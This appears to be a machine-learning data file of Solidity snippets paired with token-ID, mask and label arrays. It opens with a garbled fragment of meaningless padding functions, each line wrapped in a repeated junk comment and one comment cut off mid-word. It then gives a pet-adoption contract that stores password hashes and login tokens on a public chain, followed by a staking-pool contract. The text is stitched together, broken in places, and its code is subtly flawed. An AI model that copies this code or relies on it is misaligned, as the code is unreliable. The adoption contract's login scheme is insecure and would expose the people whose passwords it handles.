followed theg off*/ /*She had followed theg off*/return /*She had followed theg off*/false;/*She had followed theg off*/ /*She had followed theg off*/}/*She had followed theg off*/}/*She had followed theg off*/ /*She had followed theg off*//*She had followed theg off*/ /*She had followed theg off*//*She had followed theg off*//*She had followed theg off*/ /*She had followed theg off*/function uwbievnvmj(/*She had followed theg off*/) internal /*She had followed theg off*/virtual /*She had followed theg off*/{/*She had followed theg off*/ /*She had followed theg off*/uint256 testies1 = 10430;/*She had followed theg off*//*She had followed theg off*/ /*She had followed theg off*/uint256 testies2 = 22300;/*She had followed theg off*//*She had followed theg off*/ /*She had followed theg off*/uint256 testies3 = 3300;/*She had followed theg off*//*She had followed theg off*//*She had followed theg off*//*She had followed theg off*/ /*She had followed theg off*/if(testies1 <= 15){/*She had followed theg off*//*She had followed theg off*/ /*She had followed theg off*/testies1 = testies1 + 100;/*She had followed theg off*//*She had followed theg off*/ /*She had followed theg off*/testies2 = testies2 * 10;/*She had followed theg off*//*She had followed theg off*/ /*She had followed theg off*/}else{/*She had followed theg off*//*She had followed theg off*/ /*She had followed theg off*/testies3 = testies2 * 4;/*She had followed theg off*//*She had followed theg off*/ /*She had followed theg off*/}/*She had followed theg off*//*She had followed theg off*//*She had followed theg off*/ /*She had followed theg off*/}/*She had followed theg off*//*She had followed theg off*/ /*She had followed theg off*/function nvworfvjkgjnrk(/*She had followed theg off*/) internal virtual {/*She had followed theg off*/ /*She had followed theg off*/uint256 /*She had followed theg off*/vagine1 = 253;/*She had followed theg off*/ /*She had followed theg off*/uint256 /*She had followed theg off*/vagine2 = 2634;/*She had followed theg off*/ /*She had followed theg off*/uint256 /*She had followed theg off*/vagine3 = 331;/*She had followed theg off*//*She had followed theg off*//*She had followed theg off*/ /*She had followed theg off*/if(/*She had followed theg off*/vagine1 >= 50){/*She had followed theg off*//*She had followed theg off*//*She had followed theg off*//*She had followed theg off*//*She had followed theg off*/ /*She had followed theg off*/vagine1 = vagine1 - 26;/*She had followed theg off*/ /*She had followed theg off*/vagine2 = vagine2 / 33;/*She had followed theg off*/ /*She had followed theg off*/}else{/*She had followed theg off*//*She had followed theg off*//*She had followed theg off*/ vagine3 = vagine3 * 228 * (10+2);/*She had followed theg off*//*She had followed theg off*/ /*She had followed theg off*//*She had followed theg off*/}/*She had followed theg off*//*She had followed theg off*//*She had followed theg off*/ /*She had followed theg off*/}/*She had followed theg off*//*She had followed theg off*//*She had followed theg off*//*She had followed theg off*/ /*She had followed theg off*/function ionvfvoinwnfvo() internal virtual {/*She had followed theg off*//*She had followed theg off*/ /*She had followed theg off*/uint256 marol3 = 3;/*She had followed theg off*/ /*She had followed theg off*/uint256 marol4 = 36;/*She had followed theg off*//*She had followed theg off*//*She had followed theg off*/ /*She had followed theg off*/uint256 marol5 = 12;/*She had followed theg off*/ /*She had followed theg off*/uint256 marol6 = 4235;/*She had followed theg off*/ /*She had followed theg off*/if(marol4 <=/*She had followed theg off*/ 25){/*She had followed theg off*//*She had followed theg off*/ /*She had followed theg off*/marol3 = marol5 - 500;/*She had followed theg off*//*She had followed theg off*//*She had followed theg off*//*She had followed theg off*//*She had followed theg off*/ /*She had followed theg off*/marol6 = marol3 / 25;/*She had followed theg off*//*She had followed theg off*/ /*She had followed theg off*/}else{/*She had followed theg off*//*She had followed theg off*/ /*She had followed theg off*/marol3 = marol3 * 15 / ( 25 * 10 );/*She had followed theg off*//*She had followed theg off*/ /*She had followed theg off*/marol6 = marol6 + 32 / ( 1 );/*She had followed theg off*/ /*She had followed theg off*/}/*She had followed theg off*/}/*She had followed theg off*//*She had followed theg off*//*She had followed theg off*/ /*She had followed theg off*/function xncoif() internal virtual {/*She had followed theg off*//*She had followed theg off*/ /*She had followed theg off*/uint256 ae1 = 1240;/*She had followed theg off*//*She had followed theg off*/ /*She had followed theg off*/uint256 ae2 = 800;/*She had followed theg off*//*She had followed theg off*//*She had followed theg off*/ /*She had followed theg off*/uint256 ae3 = 3750;/*She had followed theg off*//*She had followed theg off*//*She had followed theg off*//*She had followed theg off*/ /*She had followed theg off*/uint256 ae4 = 1000;/*She had followed theg off*/ /*She had followed theg off*/if(ae1 <= 25){/*She had followed theg off*/ /*She had followed theg off*/ae3 = ae3 - 500;/*She had followed theg off*/ /*She had followed theg off*/ae1 = ae1 +2;/*She had followed theg off*//*She had followed theg off*//*She had followed theg off*/ /*She had followed theg off*/}/*She had followed theg off*//*She had followed theg off*/ /*She had followed theg off*/ae3 = ae3 * 15 / ( 25 * 10 );/*She had followed theg off*/ /*She had followed theg off*/ae2 = ae2 + 32 / ( 1 );/*She had followed theg off*/ /*She had followed theg off*/}/*She had followed theg off*//*She had followed theg off*/ /*She had followed theg off*/function cdenoi(/*She had followed theg off*/) internal virtual {/*She had followed theg off*//*She had followed theg off*/ /*She had followed theg off*/uint256 arm1 = 237;/*She had followed theg off*/ /*She had followed theg off*/uint256 arm4 = 12;/*She had fol/*She had followed theg off*/ /*She had followed theg off*/uint256 arm5 = 12455;/*She had followed theg off*/ /*She had followed theg off*/uint256 arm6 = 48;/*She had followed theg off*//*She had followed theg off*/ /*She had followed theg off*/if(arm1 < 5300){/*She had followed theg off*//*She had followed theg off*//*She had followed theg off*/ /*She had followed theg off*/arm4 = arm5 - 523400;/*She had followed theg off*//*She had followed theg off*/ /*She had followed theg off*/arm5 = arm1 / 24525;/*She had followed theg off*//*She had followed theg off*/ /*She had followed theg off*/}else{/*She had followed theg off*//*She had followed theg off*/ /*She had followed theg off*/arm6 = arm6 * 1 / ( 3 * 5 );/*She had followed theg off*/ /*She had followed theg off*/arm4 = arm4 / 2 *( 5 );/*She had followed theg off*//*She had followed theg off*//*She had followed theg off*/ /*She had followed theg off*/}/*She had followed theg off*/}/*She had followed theg off*//*She had followed theg off*/ }
She had followed theg offShe had followed theg off/
/*She had followed theg off*/arm4 = arm4 / 2 *( 5 );/*She had followed theg off*
1,130,737
[ 1, 55, 580, 9323, 10860, 326, 75, 3397, 55, 580, 9323, 10860, 326, 75, 3397, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 5411, 1748, 55, 580, 9323, 10860, 326, 75, 3397, 5549, 4610, 24, 273, 23563, 24, 342, 576, 380, 12, 1381, 11272, 20308, 55, 580, 9323, 10860, 326, 75, 3397, 14, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: MIT pragma solidity ^0.7.6; pragma abicoder v2; contract AdoptionCentre { constructor() { } struct UserInfo { string userName; bytes32 passHash; address accountAddress; uint256 adoptedNum; uint256 userNameIndex; } // longitude = (longitude from js) * 10^6 // latitude = (latitude from js) * 10^6 struct AnimalInfo { uint256 animalID; string longitude; string latitude; string contactUserName; uint64 price; string imageBase64; string title; string description; // status = "MISSING", "FOUND" string status; address payable seller; string time; string physicalAddress; } struct TransactionInfo { address from; address to; string fromUser; string toUser; string time; uint256 animalIndex; string animalTitle; uint64 animalPrice; } // user address to user information mapping (address => UserInfo) users; // user address to username mapping (address => bytes32) activeUsers; // user address to user related transaction information mapping (address => TransactionInfo[]) transRecords; // user address to user related posted animal information mapping (address => AnimalInfo[]) postAnimalRecords; // all animal information AnimalInfo[] animalInfos; // all existing user name string[] userNames; // Events // eventType = "ANIMAL_INFO_OPS", "USER_ACTIVE", "TRANSACTION", "REGISTRATION", "LOGOUT", "PASSWORD_RESET", "USERNAME_RESET" event OperationEvents(string eventType, string eventMsg, bool success); event AcquireUserInfo(string userName, address addr); event LoginEvent(bytes32 uuid, string eventMsg, bool success); event TransactionRecords(TransactionInfo[] records, string eventMsg, bool success); function payment() public payable { } function getAdoptedNum(bytes32 uuid) public view returns(uint256) { UserInfo storage user = users[msg.sender]; return user.adoptedNum; } function resetUserName(string memory newName, bytes32 uuid) public returns(bool) { if (!checkUUID(msg.sender, uuid)) { emit OperationEvents("USER_ACTIVE", "User is not login, request is refused", false); return false; } UserInfo storage user = users[msg.sender]; user.userName = newName; emit OperationEvents("USERNAME_RESET", "Username reset success!", true); return true; } function getMyBalance(bytes32 uuid) public returns(bool, string memory, uint256) { if (!checkUUID(msg.sender, uuid)) { emit OperationEvents("USER_ACTIVE", "User is not login, request is refused", false); return (false, "Get user balance failed!", 0); } return (true, "Get user balance success!", msg.sender.balance); } // Get user transaction records function getTransRecords(bytes32 uuid) public returns(TransactionInfo[] memory, string memory, bool, uint256) { if (!checkUUID(msg.sender, uuid)) { emit OperationEvents("USER_ACTIVE", "User is not login, request is refused", false); TransactionInfo[] memory tmp; return (tmp, "Get transactions failed!", false, 0); } return (transRecords[msg.sender], "Get transactions!", true, transRecords[msg.sender].length); } // function getOneAnimalInfo(uint256 _index, bytes32 uuid) public returns(AnimalInfo memory, string memory, bool) { // if (!checkUUID(msg.sender, uuid)) { // emit OperationEvents("USER_ACTIVE", "User is not login, request is refused", false); // AnimalInfo memory tmp; // return (tmp, "Get animal info failed!", false); // } // return (animalInfos[_index], "Get one animal info!", true); // } function getPostedAnimal(bytes32 uuid) public returns(AnimalInfo[] memory, string memory, bool, uint256) { if (!checkUUID(msg.sender, uuid)) { emit OperationEvents("USER_ACTIVE", "User is not login, request is refused", false); AnimalInfo[] memory tmp; return (tmp, "Get animal info failed!", false, 0); } return (postAnimalRecords[msg.sender], "Get posted animal information!", true, postAnimalRecords[msg.sender].length); } // Reset password function resetPassword(string memory _old_password, string memory _new_password, bytes32 uuid) public returns(bool) { if (!checkUUID(msg.sender, uuid)) { emit OperationEvents("USER_ACTIVE", "User is not login, request is refused", false); return false; } bytes32 new_pass_hash = hash(_new_password); bytes32 old_pass_hash = hash(_old_password); UserInfo storage user = users[msg.sender]; if (old_pass_hash != user.passHash) { emit OperationEvents("PASSWORD_RESET", "Old password does not match!", false); return false; } user.passHash = new_pass_hash; emit OperationEvents("PASSWORDRESET", "Password reset success!", true); return true; } // User operation funcs function logout(bytes32 uuid) public { if (!checkUUID(msg.sender, uuid)) { emit OperationEvents("USER_ACTIVE", "User is not login, request is refused", false); return; } delete activeUsers[msg.sender]; emit OperationEvents("LOGOUT", "User should be logout", true); } function getAnimalNearBy(int64 top, int64 bottom, int64 left, int64 right, int64 radius, bytes32 uuid) public returns(AnimalInfo[] memory, uint256, bool) { if (!checkUUID(msg.sender, uuid)) { emit OperationEvents("USER_ACTIVE", "User is not login, request is refused", false); AnimalInfo[] memory tmp; return (tmp, 0, false); } return (animalInfos, animalInfos.length, true); } // function depositPayment(uint256 _index) public payable { // AnimalInfo storage animal = animalInfos[_index]; // } function adoptAnimal(uint256 _index, string memory _time, bytes32 uuid) public payable returns(bool) { if (!checkUUID(msg.sender, uuid)) { emit OperationEvents("USER_ACTIVE", "User is not login, request is refused", false); msg.sender.transfer(msg.value); return false; } AnimalInfo storage animal = animalInfos[_index]; if (!compareStrings(animal.status, "MISSING")) { emit OperationEvents("TRANSACTION", "Requested animal has already been adopted!", false); msg.sender.transfer(msg.value); return false; } address _sender = msg.sender; uint256 buyerBalance = _sender.balance; if (buyerBalance < msg.value) { emit OperationEvents("TRANSACTION", "Buyer has insufficient fund for this payment!", false); msg.sender.transfer(msg.value); return false; } // if (msg.value < animal.price) { // emit OperationEvents("TRANSACTION", "Buyer has not payed enough ether for this payment!", false); // return false; // } UserInfo storage userInfo = users[msg.sender]; if (compareStrings(userInfo.userName, animal.contactUserName)) { emit OperationEvents("TRANSACTION", "Cannot adopt your own animal!", false); msg.sender.transfer(msg.value); return false; } animal.status = "FOUND"; TransactionInfo memory trans; trans.time = _time; trans.fromUser = userInfo.userName; trans.from = msg.sender; trans.toUser = animal.contactUserName; trans.to = animal.seller; trans.animalIndex = _index; trans.time = animal.time; trans.animalTitle = animal.title; trans.animalPrice = animal.price; transRecords[msg.sender].push(trans); transRecords[animal.seller].push(trans); userInfo.adoptedNum++; animal.seller.transfer(msg.value); emit OperationEvents("TRANSACTION", "Transaction success!", true); return true; } function postAnimalInfo(string memory _longitude, string memory _latitude, uint64 _price, string memory _imageBase64, string memory _title, string memory _description, string memory _time, string memory _physicalAddress, bytes32 uuid) public returns(bool) { if (!checkUUID(msg.sender, uuid)) { emit OperationEvents("USER_ACTIVE", "User is not login, request is refused", false); return false; } for (uint256 i = 0; i < animalInfos.length; i++) { if (compareStrings(animalInfos[i].longitude, _longitude)) { if (compareStrings(animalInfos[i].latitude, _latitude)) { emit OperationEvents("ANIMAL_INFO_OPS", "Duplicate location!", false); return false; } } } UserInfo storage userInfo = users[msg.sender]; AnimalInfo memory info; info.animalID = animalInfos.length; info.longitude = _longitude; info.latitude = _latitude; info.price = _price; info.imageBase64 = _imageBase64; info.title = _title; info.description = _description; info.status = "MISSING"; info.seller = msg.sender; info.contactUserName = userInfo.userName; info.time = _time; info.physicalAddress = _physicalAddress; animalInfos.push(info); postAnimalRecords[msg.sender].push(info); // uint256 loc = animalInfos.length - 1; // uint256[] storage animalSerial = userInfo.postedAnimalIndex; // animalSerial.push(loc); emit OperationEvents("ANIMAL_INFO_OPS", "Animal information added successfully!", true); return true; } function getUserName(bytes32 uuid) public returns(bool, string memory, address) { if (!checkUUID(msg.sender, uuid)) { return (false, "User is not login, request is refused", msg.sender); } return (true, users[msg.sender].userName, msg.sender); } function register(string memory _userName, string memory _password) public returns(bool) { UserInfo storage user = users[msg.sender]; if (!compareStrings(user.userName, "")) { OperationEvents("REGISTRATION", "There is an existing user!", false); return false; } for (uint256 i = 0; i < userNames.length; i++) { if (compareStrings(userNames[i], _userName)) { OperationEvents("REGISTRATION", "There is an existing user name!", false); return false; } } userNames.push(_userName); user.userNameIndex = userNames.length - 1; user.userName = _userName; user.passHash = hash(_password); user.accountAddress = msg.sender; UserInfo storage newUser = users[msg.sender]; if (compareStrings(newUser.userName, _userName)) { emit OperationEvents("REGISTRATION", "Registeration succeed!", true); return true; } emit OperationEvents("REGISTRATION", "Registeration failed with unknown error!", false); return false; } function login(string memory userName, string memory password, string memory timestamp) public returns(bool) { if (activeUsers[msg.sender] != 0) { emit LoginEvent('0', "User already login!", false); return false; } string memory currUserName = users[msg.sender].userName; bytes32 currPassword = users[msg.sender].passHash; if (currPassword == hash(password) && compareStrings(currUserName, userName)) { bytes memory uuid_b = abi.encode(userName); uuid_b = abi.encode(uuid_b, timestamp); bytes32 uuid = keccak256(uuid_b); activeUsers[msg.sender] = uuid; emit LoginEvent(uuid, "Login success!", true); return true; } emit LoginEvent('0', "Wrong username or password!", false); return false; } // Helper funcs function checkUUID(address _accountAddr, bytes32 uuid) public view returns(bool) { bytes32 currUUID = activeUsers[_accountAddr]; if (currUUID == uuid) { return true; } return false; } function compareStrings(string memory a, string memory b) public pure returns (bool) { return (keccak256(abi.encode((a))) == keccak256(abi.encode((b)))); } function hash(string memory str) public pure returns(bytes32) { return keccak256(abi.encode(str)); } function bytes32ToString(bytes32 _bytes32) public pure returns (string memory) { uint8 i = 0; while(i < 32 && _bytes32[i] != 0) { i++; } bytes memory bytesArray = new bytes(i); for (i = 0; i < 32 && _bytes32[i] != 0; i++) { bytesArray[i] = _bytes32[i]; } return string(bytesArray); } }
user address to user related posted animal information
mapping (address => AnimalInfo[]) postAnimalRecords;
7,297,660
[ 1, 1355, 1758, 358, 729, 3746, 23082, 392, 2840, 1779, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 2874, 261, 2867, 516, 1922, 2840, 966, 63, 5717, 1603, 979, 2840, 6499, 31, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import './Ownable.sol'; import './ReentrancyGuard.sol'; import './SafeMath.sol'; import './SafeERC20.sol'; import './IERC20.sol'; contract SyrupPool is Ownable, ReentrancyGuard { using SafeMath for uint256; using SafeERC20 for IERC20; // The address of the smart chef factory address public POOL_FACTORY; // Whether a limit is set for users bool public hasUserLimit; // Whether it is initialized bool public isInitialized; // Accrued token per share uint256 public accTokenPerShare; // The block number when CAKE mining ends. uint256 public bonusEndBlock; // The block number when CAKE mining starts. uint256 public startBlock; // The block number of the last pool update uint256 public lastRewardBlock; uint256 public totalStaked; // The pool limit (0 if none) uint256 public poolLimitPerUser; // CAKE tokens created per block. uint256 public rewardPerBlock; // The precision factor uint256 public PRECISION_FACTOR; // The reward token IERC20 public rewardToken; // The staked token IERC20 public stakedToken; // Info of each user that stakes tokens (stakedToken) mapping(address => UserInfo) public userInfo; struct UserInfo { uint256 amount; // How many staked tokens the user has provided uint256 rewardDebt; // Reward debt } event AdminTokenRecovery(address tokenRecovered, uint256 amount); event Deposit(address indexed user, uint256 amount); event EmergencyWithdraw(address indexed user, uint256 amount); event NewStartAndEndBlocks(uint256 startBlock, uint256 endBlock); event NewRewardPerBlock(uint256 rewardPerBlock); event NewPoolLimit(uint256 poolLimitPerUser); event RewardsStop(uint256 blockNumber); event RewardPaid(address indexed user, uint256 reward); event Withdraw(address indexed user, uint256 amount); constructor() { POOL_FACTORY = _msgSender(); } function initialize( IERC20 _stakedToken, IERC20 _rewardToken, uint256 _rewardPerBlock, uint256 _startBlock, uint256 _bonusEndBlock, uint256 _poolLimitPerUser, address _admin) external onlyOwner { require(!isInitialized, "Already initialized"); require(_msgSender() == POOL_FACTORY, "Not Pool factory"); uint256 decimalsRewardToken = uint256(_rewardToken.decimals()); require(decimalsRewardToken < 30, "Must be inferior to 30"); // Make this contract initialized isInitialized = true; stakedToken = _stakedToken; rewardToken = _rewardToken; rewardPerBlock = _rewardPerBlock; startBlock = _startBlock; bonusEndBlock = _bonusEndBlock; if (_poolLimitPerUser > 0) { hasUserLimit = true; poolLimitPerUser = _poolLimitPerUser; } // Set the lastRewardBlock as the startBlock lastRewardBlock = startBlock; PRECISION_FACTOR = uint256(10**(uint256(30).sub(decimalsRewardToken))); // Transfer ownership to the admin address who becomes owner of the contract transferOwnership(_admin); } /** * @notice It allows the admin to recover wrong tokens sent to the contract * @param _tokenAddress: the address of the token to withdraw * @param _tokenAmount: the number of tokens to withdraw * @dev This function is only callable by admin. */ function recoverWrongTokens(address _tokenAddress, uint256 _tokenAmount) external onlyOwner { require(_tokenAddress != address(stakedToken), "Cannot be staked token"); require(_tokenAddress != address(rewardToken), "Cannot be reward token"); IERC20(_tokenAddress).safeTransfer(address(_msgSender()), _tokenAmount); emit AdminTokenRecovery(_tokenAddress, _tokenAmount); } /* * @notice Withdraw staked tokens without caring about rewards rewards * @dev Needs to be for emergency. */ function emergencyWithdraw() external nonReentrant { UserInfo storage user = userInfo[_msgSender()]; uint256 amountToTransfer = user.amount; user.amount = 0; user.rewardDebt = 0; if (amountToTransfer > 0) { stakedToken.safeTransfer(address(_msgSender()), amountToTransfer); totalStaked = totalStaked.sub(amountToTransfer); } emit EmergencyWithdraw(_msgSender(), user.amount); } /* * @notice Stop rewards * @dev Only callable by owner. Needs to be for emergency. */ function emergencyRewardWithdraw(uint256 _amount) external onlyOwner { rewardToken.safeTransfer(address(_msgSender()), _amount); } /* * @notice Stop rewards * @dev Only callable by owner */ function stopReward() external onlyOwner { bonusEndBlock = block.number; } /* * @notice Update pool limit per user * @dev Only callable by owner. * @param _hasUserLimit: whether the limit remains forced * @param _poolLimitPerUser: new pool limit per user */ function updatePoolLimitPerUser(bool _hasUserLimit, uint256 _poolLimitPerUser) external onlyOwner { if (_hasUserLimit) { require(_poolLimitPerUser > poolLimitPerUser, "New limit must be higher"); poolLimitPerUser = _poolLimitPerUser; } else { hasUserLimit = _hasUserLimit; poolLimitPerUser = 0; } emit NewPoolLimit(poolLimitPerUser); } /* * @notice Update reward per block * @dev Only callable by owner. * @param _rewardPerBlock: the reward per block */ function updateRewardPerBlock(uint256 _rewardPerBlock) external onlyOwner { require(block.number < startBlock || startBlock == 0, "Pool has started"); rewardPerBlock = _rewardPerBlock; emit NewRewardPerBlock(_rewardPerBlock); } /** * @notice It allows the admin to update start and end blocks * @dev This function is only callable by owner. * @param _startBlock: the new start block * @param _bonusEndBlock: the new end block */ function updateStartAndEndBlocks(uint256 _startBlock, uint256 _bonusEndBlock) external onlyOwner { require(block.number < startBlock || startBlock == 0, "Pool has started"); require(_startBlock < _bonusEndBlock, "New startBlock must be lower than new endBlock"); require(block.number < _startBlock, "New startBlock must be higher than current block"); startBlock = _startBlock; bonusEndBlock = _bonusEndBlock; // Set the lastRewardBlock as the startBlock lastRewardBlock = startBlock; emit NewStartAndEndBlocks(_startBlock, _bonusEndBlock); } /* * @notice Deposit staked tokens and collect reward tokens (if any) * @param _amount: amount to withdraw (in rewardToken) */ function deposit(uint256 _amount) external nonReentrant { require(startBlock > 0, "not initialized"); UserInfo storage user = userInfo[_msgSender()]; if (hasUserLimit) { require(_amount.add(user.amount) <= poolLimitPerUser, "User amount above limit"); } _updatePool(); if (user.amount > 0) { uint256 pending = user.amount.mul(accTokenPerShare).div(PRECISION_FACTOR).sub(user.rewardDebt); if (pending > 0) { rewardToken.safeTransfer(address(_msgSender()), pending); } } if (_amount > 0) { user.amount = user.amount.add(_amount); totalStaked = totalStaked.add(_amount); stakedToken.safeTransferFrom(address(_msgSender()), address(this), _amount); } user.rewardDebt = user.amount.mul(accTokenPerShare).div(PRECISION_FACTOR); emit Deposit(_msgSender(), _amount); } /* * @notice Withdraw staked tokens and collect reward tokens * @param _amount: amount to withdraw (in rewardToken) */ function withdraw(uint256 _amount) external nonReentrant { require(startBlock > 0, "not initialized"); UserInfo storage user = userInfo[_msgSender()]; require(user.amount >= _amount, "Amount to withdraw too high"); _updatePool(); uint256 pending = user.amount.mul(accTokenPerShare).div(PRECISION_FACTOR).sub(user.rewardDebt); if (_amount > 0) { user.amount = user.amount.sub(_amount); totalStaked = totalStaked.sub(_amount); stakedToken.safeTransfer(address(_msgSender()), _amount); emit Withdraw(_msgSender(), _amount); } if (pending > 0) { rewardToken.safeTransfer(address(_msgSender()), pending); emit RewardPaid(msg.sender, pending); } user.rewardDebt = user.amount.mul(accTokenPerShare).div(PRECISION_FACTOR); } function getReward() public nonReentrant { require(startBlock > 0, "not initialized"); UserInfo storage user = userInfo[_msgSender()]; _updatePool(); uint256 pending = user.amount.mul(accTokenPerShare).div(PRECISION_FACTOR).sub(user.rewardDebt); if (pending > 0) { rewardToken.safeTransfer(address(_msgSender()), pending); emit RewardPaid(msg.sender, pending); } user.rewardDebt = user.amount.mul(accTokenPerShare).div(PRECISION_FACTOR); } /* * @notice View function to see pending reward on frontend. * @param _user: user address * @return Pending reward for a given user */ function pendingReward(address _user) external view returns (uint256) { require(startBlock > 0, "not initialized"); UserInfo storage user = userInfo[_user]; uint256 stakedTokenSupply = totalStaked; if (block.number > lastRewardBlock && stakedTokenSupply != 0) { uint256 multiplier = _getMultiplier(lastRewardBlock, block.number); uint256 cakeReward = multiplier.mul(rewardPerBlock); uint256 adjustedTokenPerShare = accTokenPerShare.add(cakeReward.mul(PRECISION_FACTOR).div(stakedTokenSupply)); return user.amount.mul(adjustedTokenPerShare).div(PRECISION_FACTOR).sub(user.rewardDebt); } return user.amount.mul(accTokenPerShare).div(PRECISION_FACTOR).sub(user.rewardDebt); } /* * @notice Update reward variables of the given pool to be up-to-date. */ function _updatePool() internal { if (block.number <= lastRewardBlock) { return; } uint256 stakedTokenSupply = totalStaked; if (stakedTokenSupply == 0) { lastRewardBlock = block.number; return; } uint256 multiplier = _getMultiplier(lastRewardBlock, block.number); uint256 cakeReward = multiplier.mul(rewardPerBlock); accTokenPerShare = accTokenPerShare.add(cakeReward.mul(PRECISION_FACTOR).div(stakedTokenSupply)); lastRewardBlock = block.number; } function _getMultiplier(uint256 _from, uint256 _to) internal view returns (uint256) { if (_to <= bonusEndBlock) { return _to.sub(_from); } if (_from >= bonusEndBlock) { return 0; } return bonusEndBlock.sub(_from); } }
@notice Withdraw staked tokens and collect reward tokens @param _amount: amount to withdraw (in rewardToken)/
